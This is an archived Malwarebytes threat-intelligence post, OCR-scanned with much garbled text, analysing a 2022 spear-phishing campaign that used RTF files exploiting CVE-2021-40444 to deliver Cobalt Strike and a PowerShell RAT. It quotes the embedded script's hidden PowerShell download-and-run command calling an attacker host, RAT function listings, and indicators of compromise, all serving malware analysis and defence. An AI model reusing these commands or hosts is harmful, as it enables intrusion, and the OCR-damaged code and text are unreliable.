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New spear phishing campaign targets Russian dissidents

By Mark Stockley

Published: 2022-03-28 - Archived: 2026-04-05 18:49:25 UTC
This blog post was authored by Hossein Jazi.
— Updated to clarify the two different campaigns (Cobalt Strike and Rat)

Several threat actors have taken advantage of the war in Ukraine to launch a number of cyber attacks. The
Malwarebytes Threat Intelligence team is actively monitoring these threats and has observed activities associated

with the geopolitical conflict.

More specifically, we’ve witnessed several APT actors such as Mustang Panda, UNC1151and SCARABthat have

used war-related themes to target mostly Ukraine. We’ve also observed several different wipersand cybercrime
groups such as FormBookusing the same tactics. Beside those known groups we saw an actorthat used multiple
methods to deploy a variants of Quasar Rat. These methods include using documents that exploit CVE-2017-0199
and CVE-2021-40444, macro-embedded documents, and executables.

On March 23, we identified a new campaign that instead of targeting Ukraine is focusing on Russian citizens and
government entities. Based on the email content it is likely that the threat actor is targeting people that are against

the Russian government.

Article continues below this ad.

The spear phishing emails are warning people that use websites, social networks, instant messengers and VPN
services that have been banned by the Russian Government and that criminal charges will be laid. Victims are

lured to open a malicious attachment or link to find out more, only to be infected with Cobalt Strike.

Spear phishing as the main initial infection vector

These emails pretend to be from the “Ministry of Digital Development, Telecommunications and Mass
Communications of the Russian Federation” and “Federal Service for Supervision of Communications,

Information Technology and Mass Communications” of Russia.

We have observed two documents associated with this campaign that both exploit CVE-2021-40444. Even though
CVE-2021-40444 has been used in a few attacks in the past, to the best of our knowledge this was the first time
we observed an attacker use RTF files instead of Word documents to exploit this vulnerability. Also the actor
leveraged a new variant of this exploit called CABLESS in this attack. Sophoshas reported an attack that used a
Cabless variant of this exploit but in that case the actor has not used the RTF file and also used RAR file to
prepend the WSF data to it.
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Victimology

The actor has sent its spear phishing emails to people that had email with these domains:

mail.ru, mvd.ru, yandex.ru, cap.ru, minobr-altai.ru, yandex.ru, stavminobr.ru, mon.alania.gov.ru, astrobl.ru,

38edu.ru, mosreg.ru, mo.udmr.ru, minobrnauki.gov.ru, 66.fskn.gov.ru, bk.ru, ukr.net
Based on these domains, here is the list of potential victims:

 Portal of authorities of the Chuvash Republic Official Internet portal

e Russian Ministry of Internal Affairs

e ministry of education and science of the republic of Altai

e Ministry of Education of the Stavropol Territory

e Minister of Education and Science of the Republic of North Ossetia-Alania
e Government of Astrakhan region

e Ministry of Education of the Irkutsk region

 Portal of the state and municipal service Moscow region

e Ministry of science and higher education of the Russian Federation
Analysis:

The lures used by the threat actor are in Russian language and pretend to be from Russia’s “Ministry of
Information Technologies and Communications of the Russian Federation” and “MINISTRY OF DIGITAL
DEVELOPMENT, COMMUNICATIONS AND MASS COMMUNICATIONS?”. One of them is a letter about

limitation of access to Telegram application in Russia.
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MuHHCTepcTBO HHYOPMAIHOHHEIX TEXHOIOIHI

H CBA3H POCCHII‘FICKOI‘ZI Denepanuu
Malwarebytes Anti-Exploit

JOKYMEHT MOJIHACAH 3JJEKTPOHHOM MH®

IPHAIEP/KHBANTECH IIPUBEJEHHBIX HU/KE . ]

OTOBPAJKEHHSA COJEPKHMOIO JOKYMEH Malwarebytes Anti-Exploit has
Hammure na « Paspemnrs p 238 pa blocked an EXp|Oit attem pt

(i) SAULAUIEHHHIA POCMOTP  OTHpuTs Sarpyxesii i 4nA RPOCHTRY

Application:
Protection Layer: Application Behavior Protection
Protection Technique: | Exploit payload process blocked

File/Process Blocked: | c:\Windows\System 32\WScript. exe C:\Windows\System32\PKH.rt
Attacking URL: TJA

Malwarebytes
ANTI-EXPLOIT

38f2b578a9da4637555614e9ca9036337dadaf4e03d89faf09b4227f035.. : 591 characters [an approximate value).

These RTF files contains an embedded url that downloads an html file which exploits the vulnerability in the
MSHTML engine.
http://wallpaper.skin/office/updates/GtkjdsjkyLkjhsTYhdsd/exploit.html

The html file contains a script that executes the script in WSF data embedded in the RTF file.

@HDOCTYPE htm1S<htn] pt>var ax = new ActiveXobject ('l ') ;ax.Script.location = *.usf'4’ 2'4* wsf’

The actor has added WSF data (Windows Script Host) at the start of the RTF file. As you can see from figure 8,
WSF data contains a JScript code that can be accessed from a remote location. In this case this data has been

accessed using the downloaded html exploit file.
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00000000 TB 5C 72 74 66 31 7B 5C 70 61 72 20 5C 76 20 3C {\rtfl{\par \wv <
Q0000010 6A 6F 62 3E 3C 73 63 T2 69 70 74 20 6C &1 6E 67 Jjob><script lang
Q00000020 75 61 67 65 3D 22 4A 53 63 T2 69 70 74 22 3E 76 uage="J5cript"»v
Q0000030 81 72 20 78 20 3D 20 6E &5 77 20 41 63 74 65 76 ar x = new Activ
00000040 65 58 4F 62 64 65 63 T4 28 22 57 53 63 72 6% 70 eXObject ("WScrip
Q0D0O0050 T4 2E T3 68 €5 6C €C 22 29 3B 78 2E 52 75 6E 28 t.shell™);x.Run(
Q00000060 22 70 6F 77 €3 72 73 68 63 6C 6C 2ZE 65 78 65 20 "powershell.exe

Q00000070 2D 77 €9 6E &4 AF 77 T3 T4 79 6C &5 20 &8 69 64 —windowstyle hid
00000080 &4 65 6E 20 24 50 72 &F €7 72 €5 73 73 50 72 65 den $ProgressPre
00000090 &6 65 72 65 6E 63 65 20 3D 20 27 53 69 &6C 65 6E ference = 'Silen
QoD000RD T4 6C 79 43 6F AE 74 6% 6E 75 65 27 3B 20 45 6E tlyContinue'; In
000000BD 76 6F 6B 65 2D 57 €5 62 52 65 71 75 65 73 74 20 woke-WebRequest

000000OCD 27 &8 74 74 70 3A 2F 2F 77 61 6C &C 70 61 70 65 'http://wallpape
000000DD 72 2E 73 6B 69 6E 2F 6F 66 66 €9 63 65 2F 75 70 r.skin/office/up
OD0O0OOED 64 61 74 65 73 2F 47 T4 6B 6A 64 73 6A 6B 79 4C dates/GtkjdsjikyL
O00000FD0 6B 6A 68 73 54 59 68 64 73 64 2F 70 75 74 74 79 kjhsTYhdsd/putty
00000100 2E &5 78 65 27 20 2D 4F 75 74 46 69 6C 65 20 24 .exe' -OutFile §
00000110 &5 6E 76 3A 54 45 4D 50 5C 5C 70 75 74 74 79 2E env:TEMP\\putty.
00000120 &5 78 65 3B 20 2E 20 24 &5 6E 76 3A 54 45 4D 50 exe; . Senv:TEMP
00000130 5C 5C 70 75 74 74 79 2E &5 78 €5 3B 20 53 74 61 \\putty.exe; Sta
00000140 72 74 2D 53 6C 65 65 TO 20 31 35 22 29 3B 3C 2F rt-Sleep 15");</f
00000150 73 63 72 69 70 T4 3E 3C 2F 6RA 6&F &2 3E 7D 5C 61 script></job>}\a

Executing this scripts leads to spawning PowerShell to download a CobaltStrike beacon from the remote server

and execute it on the victim’s machine. (The deployed CobaltStrike file name is Putty)
"C:WindowsSystem32WindowsPowerShellv1.@powershell.exe" -windowstyle hidden $ProgressPreference='SilentlyContint
The following shows the CobaltStrike config:
{ "BeaconType": [ "HTTPS" ], "Port": 443, "SleepTime": 38500, "MaxGetSize": 1398151, "Jitter": 27, "C2Server":

Similar lure used by another actor

We also have identified activity by another actor that uses a similar lure as the one used in the previously
mentioned campaign. This activity is potentially related to Carbon Spiderand uses “@®edepanbHas cayxrcba no
Haod3opy 8 cgepe cesa3u, UHOpMayuoHHbIX mexHono2ull u maccoebix KommyHukayuli” (Federal Service for
Supervision of Communications, Information Technology and Mass Communications) of Russia as a template. In

this case, the threat actor has deployed a PowerShell-based Rat.
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Malwarebytes Anti-Exploit

Malwarebytes Anti-Exploit has

blocked an exploit attempt

Application: Microsoft Office Word

Protection Layer: Application Behavior Protection

Protection Technique: Exploit payload process blocked

File/Process Blocked: C:\Windows\System32\WindowsPowerShellly 1.0\powershell. exe C

Attacking URL: N/

Malwarebytes

ANTI-EXPLOIT

The dropped PowerShell script is obfuscated using a combination of Base64 and custom obfuscation.
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After deobfuscating the script, you can see the Rat deployed by this actor. This PowerShell based Rat has the

capability to get the next stage payload and execute it. The next stage payload can be one of the following file

types:

JavaScript
PowerShell
Executable
DLL

All of Tts communications with its server are in Base64 format. This Rat starts its activity by setting up some

configurations which include the C2 url, intervals, debug mode and a parameter named group that initialized with

“Madagascar” which probably is another alias of the actor.

After setting up the configuration, it calls the “Initialize-Engine” function. This function collects the victim’s info

including OS info, Username, Hostname, Bios info and also a host-domain value that shows if the machine in a

domain member or not. It then appends all the collected into into a string and separate them by “|” character and at

the end it add the group name and API config value. The created string is being send to the server using Send-

WeblInitfunction. This function adds “INIT%%%” string to the created string and base64 encodes it and sends it to

the server.
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; $Debug = $true|$false; SAutoremove = $true|$false; $Group = "...":

SURL = 'h
SInterval
S5Debug = S$false
SCGroup
$hpi =

$region 5

ipt parameters initialization
#region + Helper functions

function Cut-Info([String] Sm=g) {
function Cut-Debug(Sm=g) {

function Remove-Myself {

function Convert-ToBaseé4d ([string] StheSource) {
function Get-TypeHead($head) {

function Format-Long5tring(3data) {

function Encode-CmdCutput {

Function Send-WebQuery() {

Function Send-WebInit {

Function Send-WebPutTask {
Fonction Send-WebGetTask {

gion
gion Task Control
function Unpack-Task {

function Inwvoke-ICTask {

function Kill-P5Task() {

function Ger-TaskOutput (§theJob) {
function Inwvoke-PsTask {

function Inwvoke-JsTask {

function Invoke-ExeTask {

function Invoke-D11Task {

function Start-ScriptBlock($scblk) {
function Inwvoke-Task {

#endregion

#region + Engine control

function Initialize-Engine {

function Check-Tasks {

function Invoke-Engine {
function Remove-Engine {
#endregion

#region + Main

rry {

Remove-Engine

#endregion

After performing the initialization, it goes into a loop that keeps calling the “Invoke-Engine” function. This
function checks the incoming tasks from the server, decodes them and calls the proper function to execute the
incoming task. If there is no task to execute, it sends “GETTASK%%” in Base64 format to its server to show it is

ready to get tasks and execute them. The “IC” command is used to delete itself.
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function Invoke-Task {
if (-not (Unpack-Ta=sk)) { return }

£ execute task
switch (§=script:Command.Tvoe) {
"TIC" { Inmvoke-ICTask

break
1
"EE" { Invoke-PsTask
break
1
"Eill-F5Task" { EKill-P5Task
break
1
"IE" { Invoke-JdsTask
break
1
"EXE" { Imvoke-ExeTask
break
1
"DLL"™ { Imvoke-D11lTask
break
1
default {
Cut-Debug "[!'] Invalid task type: '$(sscript:Command.Tyvpe)'"™
1

The result of the task execution will be send to the server using “PUTTASK%%” command.

Infrastructure

The following shows the infrastructure used by this actor highlighting that the different lures are all connected.

The Malwarebytes Threat Intelligence continues to monitor cyber attacks related to the Ukraine war. We are

protecting our customers and sharing additional indicators of compromise.
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I0Cs

RTF files host domain:

digital-ministry[.]ru

RTF files:

PKH telegram.rtf
b19af42{f8cf0f68e520a88f40ffd76f53a27dffa33b313fe22192813d383ele
PKH.rtf
38f2b578a9da463f555614e9ca9036337dad0af4e03d89faf09b4227f035db20
MSHTML exploit:
wallpaper([.]skin/office/updates/GtkjdsjkyLkjhsTYhdsd/exploit.html
4e1304f4589a706c60f1f367d804afecd3e08b08b7d5e6bd8c93384f0917385¢
CobaltStrike Download URL.:
wallpaper][.]skin/office/updates/GtkjdsjkyLkjhsTYhdsd/putty.exe
CobaltStrike:

Putty.exe
d4eaf26969848d8027df7c8c638754f55437c0937tbf97d0d24cd20dd92ca66d
CobaltStrike C2:

wikipedia-book[.]vote/async/newtab_ogb

Macro based maldoc:
¢7dd490adb297b7f529950778b5a426e8068ea2df58be5d8fd49fe55b5331e28
PowerShell based RAT:
9d4640bde3daf44cc4258eb5f294ca478306aa5268c7d314fc5019cf783041f0
PowerShell Rat C2:

swordoke[.]Jcom

Source: https://blog.malwarebytes.com/threat-intelligence/2022/03/new-spear-phishing-campaign-targets-russian-dissidents/
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